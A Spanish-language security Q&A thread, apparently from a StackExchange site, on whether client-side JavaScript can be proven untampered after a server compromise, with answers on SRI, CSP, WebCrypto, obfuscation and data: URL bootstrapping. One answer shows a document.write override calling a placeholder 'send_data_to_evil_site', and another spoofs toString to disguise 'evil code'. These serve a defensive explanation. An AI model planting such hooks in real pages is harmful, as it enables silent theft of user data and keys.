¿Cómo probar que Javascript del lado del cliente está seguro?

7

Imagina que tienes una aplicación web que cifra los datos del usuario, como una nota o una hoja de cálculo, tanto en el servidor como en el cliente.

El proceso normal para un usuario que utiliza esta aplicación web es algo como esto:

  1. El usuario inicia sesión en la aplicación utilizando un hash de inicio de sesión / contraseña almacenado en el servidor. (Como las aplicaciones web normales).
  2. El usuario ingresa una clave segura adicional que se usa para cifrar los datos del lado del cliente. La aplicación web utiliza una biblioteca de cifrado del lado del cliente como SJCL

En este ejemplo, centrémonos en el lado del cliente.

La situación es la siguiente: el servidor se ha visto comprometido y un atacante tiene acceso a las claves del lado del servidor. El atacante no tiene las claves del lado del cliente, ya que nunca se almacenan en el servidor.

Ahora el atacante debe modificar el Javascript para leer la clave del lado del cliente cuando el usuario ingresa en la aplicación web (lado del cliente). El Javascript estaría programado para enviar la clave al atacante / servidor. Ahora el atacante ha ganado.

Comprendo que se asume que una vez que se haga cargo del servidor, se habrá perdido, pero me gustaría saber si mis ideas a continuación permiten una solución segura para el cliente.

La situación

Se asume que el HTML contiene algo de código Javascript dentro de algunas etiquetas de script, y también hay una gran cantidad de código Javascript cargado a través de archivos Javascript externos que residen en el servidor. Es el Javascript que ejecuta la aplicación web que es el problema. Tenemos que asumir que el atacante ha modificado cualquier Javascript, sea en línea o externo.

¿Posible solución?

Quiero poder generar un hash de todo el Javascript cargado desde mi servidor. La cuenta actuará como una huella digital para el código Javascript del lado del cliente y el usuario desconfiará de un nuevo hash.

Estas son las dos formas en las que he pensado hasta ahora:

  1. Tome un hash de todos los archivos cargados en el cliente. Esto significa solicitar de nuevo todos los archivos incluidos.

  2. Toma un hash de todo el código Javascript en la memoria. (¿Se puede hacer esto?)

El problema común con ambas opciones es que cualquiera que sea la función que realice este hash, debe ser lo suficientemente pequeña para que el usuario en cuestión pueda verificar que es seguro usarla en unos pocos segundos.

Estoy pensando que esta función de hash se carga en el navegador como de costumbre, y el usuario puede escribir el nombre de la función desde la consola sin el () para que puedan ver el código, y luego escribir nuevamente con () para ejecutar el código.

Entonces, el hash debe ser lo suficientemente bueno para probar que la aplicación web está en un estado que el usuario sabe que ha inspeccionado en el pasado.

Esto podría incluso convertirse en un complemento en algún momento, aunque estoy determinado a ver si es posible una solución nativa.

Esencialmente, lo que estoy preguntando es: ¿qué métodos existen que nos permitan probar la integridad del estado del cliente?

    
pregunta Joseph 21.03.2016 - 12:59
fuente

5 respuestas

8

No puedes estar seguro de que no haya sido manipulado. Un atacante está ejecutando código en su sistema; si se realiza un esfuerzo suficiente, puede manipular cualquier cosa que suceda dentro del contexto del navegador en el que se está ejecutando (por lo tanto, un complemento no sufre de la misma manera, está en un contexto diferente). / p>

No todos los puntos en el enlace de Matasano de @SmokeDispenser ya son totalmente correctos, aunque el principio básico es válido. Esfuerzos como el WebCrypto API intentan abordar algunos de los problemas, pero aún no están maduros, incluso si lo fueron. , no sería posible determinar con certeza que el código no estaba haciendo algo malicioso al mismo tiempo que realiza el comportamiento esperado.

    
respondido por el Matthew 21.03.2016 - 13:11
fuente
4

Una página web con JavaScript es esencialmente una pequeña aplicación que se ejecuta en una caja de arena en su computadora. Cada vez que visita la página, descarga la última versión de la aplicación y la ejecuta. ( cómic obligatorio de XKCD )

Esto significa que si un atacante tiene el control de su servidor y puede suministrar código envenenado, entonces sus problemas son muy similares a si su usuario ha descargado una versión de software cargada de software espía desde un sitio de descarga poco fiable. El atacante puede eliminar o omitir cualquier protección que inserte en su aplicación.

La única manera de mantener segura una aplicación web contra un atacante que controla el servidor es si alguna parte de su aplicación web está almacenada en la computadora del usuario. Por ejemplo, esto podría ser un archivo descargado o un marcador de data: URL. Este fragmento de código se cargaría primero y luego podría contener suficiente lógica para verificar la integridad de todos los recursos adicionales antes de la ejecución, por ejemplo. a través de integridad del sub-recurso o en navegadores más antiguos que verifican el hash antes de usar exec() .

(Escribí una pequeña implementación de sha256 para jugar con esta idea de arranque desde una URL data: , e incluso un módulo cargador basado en él por diversión, pero obviamente no recomendaría usarlo en producción.

En resumen: si desea que sus usuarios solo escriban una URL y carguen su sitio, esto depende totalmente de la seguridad del servidor. Incluso la supervisión de su propio sitio podría no ayudarlo si el atacante está apuntando solo a usuarios particulares.

    
respondido por el cloudfeet 21.03.2016 - 14:50
fuente
1

Si he entendido bien, desea asegurarse de que el código que proporciona el servidor coincide con alguna noción de reconocido como bueno en el cliente. Pero para los navegadores, el único lugar que puede suministrar contenido al navegador es el servidor, por lo que sus medios de validación se envían desde la misma fuente y a través del mismo canal que el contenido que desea validar (como dijo Matthew). p>

Hay un margen para explotar esto a su favor si puede separar el momento en el que las 2 partes se entregan al cliente (es decir, usar diferentes tiempos de caché, y hacer que cada mitad valide la otra). Pero va a estar lejos de ser infalible.

Javascript proporciona una reflexión adecuada para simplificar la validación (sí, puedes leer lo que hay en la memoria de Javacript). El problema es diferenciar entre el código que viene como parte de la página / cargado por la página y lo que ya está integrado en el navegador. Este último variará según la marca y la versión. Y siempre que su código llame al código suministrado por el navegador (por ejemplo, para escribir cosas en la pantalla), también debe poder validar el código del navegador. Esto es un problema, ya que es sencillo reemplazar cualquier función de javascript (incluidas las integradas) con otra cosa:

_orig_write = document.write;
document.write = function (str) {
    send_data_to_evil_site(str);
    _orig_write(str);
}

No puedes confiar en la detección:

if ('function write() { [native code] }' != document.write.toString()) {
     alert("maybe the toString was changed too?");
}

Es posible que desee echar un vistazo a la transferencia de su javascript en archivos jar firmados . Aunque originalmente estaba pensado para dar acceso a Javascript fuera de su caja de arena, el mecanismo integrado en el navegador para crear contenido debe ser más sólido que una solución de cosecha propia, pero recuerde que este código puede tener un impacto fuera de la caja de arena (lo que podría ser un desvío para cualquier cliente preocupado por la seguridad).

    
respondido por el symcbean 21.03.2016 - 14:49
fuente
1

Validar el código del lado del cliente tiene sentido incluso si el código del lado del servidor no estaba comprometido. Si un atacante puede modificar el código o inyectar un código nuevo, puede capturar fácilmente las credenciales o modificar el marcado de la página y hacer phishing, y esto es lo suficientemente grave como para que la gente se preocupe.

Sobre las soluciones propuestas hasta ahora:

  • Integridad del sub-recurso: solo valida la integridad del código de terceros, y luego solo cuando se carga. Un atacante puede inyectar el código en línea o envenenar el código existente. Por lo tanto, SRI no es eficiente contra esta clase particular de ataques. Está destinado a detectar cuándo se comprometió su CDN.
  • WebCrypto: es bueno tener criptografía estándar en el navegador, pero como cualquier otra función nativa disponible, puede envenenarse.
  • Otras soluciones propuestas se basan en que su código se ejecute primero que un posible adversario. El problema es que es muy difícil de asegurar. Es por eso que los estándares como CSP se llevan en encabezados HTTP y el navegador tiene, por definición, hacerlos cumplir primero, antes de cargar cualquier JS. (BTW, CSP tampoco funciona contra el envenenamiento de código).

No hay una solución a prueba de balas. Lo que puedes hacer es subir la barra tanto como puedas, para mitigar la mayoría de los ataques y desmotivar a otros.

Me sorprende que nadie haya sugerido ofuscación de JavaScript. Si la ofuscación es lo suficientemente resistente e incluso polimórfica, puede generar resultados que no son factibles de entender y suficientemente diversos. Puede rotar versiones protegidas periódicamente para lograr esto. Con eso elimina los objetivos de envenenamiento automatizados, ya que los nombres y las formas e incluso el diseño del código cambian constantemente. Supongo que el atacante está alejado del navegador (de ahí la necesidad de automatizar el ataque). Además, hoy en día hay soluciones que producen códigos de autodefensa que hacen que el código sea resistente a la manipulación y el envenenamiento, lo que hace que cada vez sea más complejo de eliminar.

Para lidiar con modificaciones al DOM específicamente, necesita algo ligeramente diferente que sea capaz de detectar estas modificaciones y eliminarlas.

    
respondido por el Carl Rck 08.02.2017 - 12:01
fuente
1

El OP pregunta si es posible probar que el JavaScript del lado del cliente es seguro, en caso de que el servidor haya sido comprometido. Como han señalado otros, siempre que el servidor proporcione al cliente el código de JavaScript, puede ser manipulado, incluido el código destinado a verificar que el código sea seguro.

Esto ya lo señala el OP, que sugiere que la inspección del código del lado del cliente podría usarse para verificar:

  

Estoy pensando que esta función de hash se carga en el navegador como de costumbre, y el usuario puede escribir el nombre de la función desde la consola sin el () para que puedan ver el código y luego escribir nuevamente con () para ejecutar el código .

Si la función de hashing es proporcionada por el servidor, esto también se puede eludir fácilmente, intente inspeccionar la función harmful a continuación en la consola:

function harmful(){
  /*evil code*/
}

harmful.toString = function(){
  return 'function harmful(){/*I am harmless*/}'
}

El punto principal es que no es posible verificar la seguridad del código del lado del cliente en caso de compromiso del servidor, siempre que el servidor proporcione el código del lado del cliente all . Y, JavaScript es tan flexible que el código dañino puede ser disfrazado de inofensivo luego de la inspección del código en la consola.

    
respondido por el Tomas Langkaas 08.02.2017 - 12:36
fuente

Lea otras preguntas en las etiquetas